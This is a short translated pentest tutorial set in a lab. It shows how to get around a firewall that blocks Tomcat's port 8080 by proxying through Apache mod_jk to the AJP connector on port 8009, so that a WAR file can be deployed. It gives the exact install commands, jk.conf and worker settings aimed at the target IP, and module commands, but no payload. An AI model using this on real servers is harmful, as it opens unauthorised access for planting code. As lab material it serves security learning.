Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.
My experiment environment:
192.168.0.102 Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103 BT 5 for pentesting
First, we used nmap to portscan and our tests show that port 8009 was open on
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk
My jk.conf of the configuration:
root@mickey:/etc/apache2/mods-available# cat jk.conf # Update this path to match your conf directory location JkWorkersFile /etc/apache2/jk_workers.properties # Where to put jk logs # Update this path to match your logs directory location JkLogFile /var/log/apache2/mod_jk.log # Set the jk log level [debug/error/info] JkLogLevel info # Select the log format JkLogStampFormat "[%a %b %d %H:%M:%S %Y]" # JkOptions indicate to send SSL KEY SIZE, JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories # JkRequestLogFormat set the request format JkRequestLogFormat "%w %V %T" # Shm log file JkShmFile /var/log/apache2/jk-runtime-status
Create a link with ln command to /etc/apache2/mods-enabled/:
ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
Configure jk_workers.properties as below:
root@mickey:/etc/apache2# cat jk_workers.properties worker.list=ajp13 # Set properties for worker named ajp13 to use ajp13 protocol, # and run on port 8009 worker.ajp13.type=ajp13 worker.ajp13.host=192.168.0.102 <\---|Here is target ip address worker.ajp13.port=8009 worker.ajp13.lbfactor=50 worker.ajp13.cachesize=10 worker.ajp13.cache_timeout=600 worker.ajp13.socket_keepalive=1 worker.ajp13.socket_timeout=300
sudo a2enmod proxy_ajp sudo a2enmod proxy_http sudo /etc/init.d/apache2 restart
We have configured mod_jk of the module, then browse on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009, Now, we can deploy WAR file.
Translated by hip